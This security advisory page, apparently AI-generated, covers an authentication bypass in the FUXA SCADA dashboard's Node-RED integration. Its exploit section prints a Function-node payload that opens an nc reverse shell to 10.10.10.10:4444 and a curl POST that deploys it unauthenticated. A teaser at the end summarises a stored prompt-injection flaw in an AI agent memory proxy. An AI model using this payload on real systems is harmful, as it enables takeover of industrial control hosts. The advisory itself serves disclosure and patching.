CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25938

FUXA RCE: When the Dashboard Becomes a Command Prompt

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 10, 2026·5 min read·154 visits

Executive Summary (TL;DR)

Critical RCE in FUXA versions 1.2.8 through 1.2.10. The Node-RED plugin exposes administrative endpoints without authentication. Attackers can POST a malicious flow containing a 'Function' node to execute arbitrary system commands. Fixed in version 1.2.11.

FUXA, a popular open-source SCADA/HMI dashboard, contained a critical authentication bypass in its Node-RED integration. By failing to verify JWT tokens on proxied routes, the software allowed unauthenticated attackers to access the full Node-RED Admin API. This exposure permits the deployment of malicious JavaScript flows, leading to immediate Remote Code Execution (RCE) on the host server.

The Hook: SCADA, The Final Frontier of Fragility

Industrial control systems (ICS) and SCADA software are the nervous systems of modern infrastructure. They control everything from factory conveyor belts to water treatment plants. FUXA is a web-based HMI (Human-Machine Interface) that lets engineers visualize this data prettily in a browser. It’s written in Node.js, uses Angular, and generally tries to bring modern web tech to the rusty world of industrial automation.

But here is the kicker: FUXA integrates Node-RED, a flow-based programming tool, to handle logic. Node-RED is fantastic. It lets you drag and drop boxes to automate tasks. However, Node-RED is also practically an IDE. If you have access to the Node-RED interface, you can write and execute arbitrary JavaScript code on the server.

So, what happens when FUXA decides to wrap Node-RED but forgets to check ID cards at the door? You get CVE-2026-25938—a vulnerability that turns a dashboard meant for monitoring temperatures into a root shell for monitoring the admin's panic levels.

The Flaw: The Proxy Problem

The vulnerability stems from a classic architectural blunder: The Proxy Bypass. FUXA acts as a middleware wrapper around an internal Node-RED instance. It is supposed to handle authentication (JWTs, user sessions) before forwarding traffic to the Node-RED backend.

In versions 1.2.8 through 1.2.10, the developers implemented a middleware function intended to protect these routes. However, the logic for the /nodered/ endpoint was, to put it politely, optimistic. It essentially assumed that if you knew the URL, you were probably supposed to be there. The application failed to validate the x-access-token or session cookies for requests targeting the Node-RED Admin API (specifically /nodered/flows).

This is the digital equivalent of locking your front door (the main FUXA dashboard) but leaving the garage door open because "only family knows the code to the opener." Except in this case, the garage contains a button that blows up the house.

The Code: Diffing the Disaster

Let's look at the "smoking gun" in server/integrations/node-red/index.js. The fix, applied in commit 5e7679b09718534e4501a146fdfe093da29af336, reveals exactly what was missing.

The Vulnerable Logic (Conceptual): Previously, the middleware effectively waved traffic through based on loose checks or missing guards entirely for the API sub-paths. If the plugin was enabled, the router just forwarded the packets.

The Fix (Secure-by-Default): The patch introduces a strict gatekeeper. Notice the explicit call to authJwt.verify:

// server/integrations/node-red/index.js
const allowDashboard = (req, res, next) => {
    const url = req.originalUrl || req.url || req.path;
    
    // Check if security is disabled (legacy mode)
    if (!settings.secureEnabled) return next();
 
    // THE FIX: Explicitly hunt for the token
    const token = req.headers['x-access-token'] || 
                  req.query?.token || 
                  getCookieValue(req, 'nodered_auth');
 
    if (!token) {
        // "You shall not pass"
        return res.status(401).json({ 
            error: "unauthorized_error", 
            message: "Authentication required!" 
        });
    }
 
    // Verify the JWT signature
    return authJwt.verify(token)
        .then(() => next())
        .catch(() => res.status(401)...);
};

They also updated the frontend to pass the token into the iframe URL, ensuring valid users can still work, while unauthenticated scripts get a 401 error.

The Exploit: Building the Death Star

Exploiting this is trivially easy because Node-RED is designed to execute code. We don't need a buffer overflow; we just need to use the feature as intended.

Step 1: The Payload We construct a JSON payload representing a Node-RED flow. This flow contains a single "Function" node. Inside that node, we use Node.js's child_process module to spawn a shell.

// The malicious function body
const exec = global.get('process').mainModule.require('child_process').exec;
exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f');
return msg;

Step 2: Delivery We wrap that JavaScript in the standard Node-RED JSON format and fire it at the API. No authentication headers required.

curl -X POST http://target-ip:1881/nodered/flows \
  -H "Content-Type: application/json" \
  -H "Node-RED-Deployment-Type: full" \
  -d '[
    {
      "id": "pwned",
      "type": "function",
      "z": "flow1",
      "name": "RCE",
      "func": "[...malicious JS here...]",
      "outputs": 1
    }
  ]'

Step 3: Execution The moment the server receives this POST request, it hot-reloads the flow. The function executes immediately (or upon injection), and a reverse shell pops on our listener. We are now inside the SCADA network.

The Impact: Why We Panic

In a standard web app, RCE means data theft. In the context of FUXA and SCADA, RCE means kinetic impact. An attacker with shell access to the HMI server can likely pivot to the PLCs (Programmable Logic Controllers) on the same network.

They could manipulate modbus commands to overheat machinery, open valves, or disable safety locks. Furthermore, because FUXA is often deployed in Docker containers running as root (despite best practices), breaking out of the application often means full control over the host operating system. This is a CVSS 9.5 for a reason—it's a complete compromise of the control layer.

The Fix: Closing the Door

The remediation is straightforward: Update to FUXA v1.2.11. This version enforces authentication on all Node-RED routes.

If you cannot update immediately, you must disable the Node-RED integration in the FUXA settings (Settings -> System -> Enable Node-RED). If that is also not an option (because your factory relies on it), restrict access to the FUXA port (default 1881) using a firewall or reverse proxy that implements its own Basic Auth or IP allowlisting. Do not expose this interface to the internet. Ever.

Official Patches

frangoteamFUXA v1.2.11 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
9.5/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Affected Systems

FUXA HMISCADA Systems using FUXAIndustrial IoT Dashboards

Affected Versions Detail

Product
Affected Versions
Fixed Version
FUXA
frangoteam
>= 1.2.8, <= 1.2.101.2.11
AttributeDetail
CVE IDCVE-2026-25938
CVSS v4.09.5 (Critical)
CWECWE-306 (Missing Authentication)
Attack VectorNetwork (Remote)
Affected ComponentNode-RED Integration Middleware
Exploit StatusFunctional PoC Available (Trivial)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1210Exploitation of Remote Services
Lateral Movement
CWE-306
Missing Authentication for Critical Function

The software does not perform any authentication for functionality that requires a provable user identity.

Known Exploits & Detection

Internal ResearchExploitation involves POSTing a standard Node-RED flow JSON containing a Function node with child_process execution logic.

Vulnerability Timeline

Fix committed to repository
2026-02-06
Version 1.2.11 Released
2026-02-08
CVE-2026-25938 Published
2026-02-09

References & Sources

  • [1]GHSA-v4p5-w6r3-2x4f
  • [2]Patch Commit 5e7679b

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 23 hours ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
5 views•10 min read
•about 24 hours ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
10 views•12 min read
•1 day ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read
•1 day ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
11 views•10 min read
•1 day ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
13 views•10 min read
•1 day ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
6 views•9 min read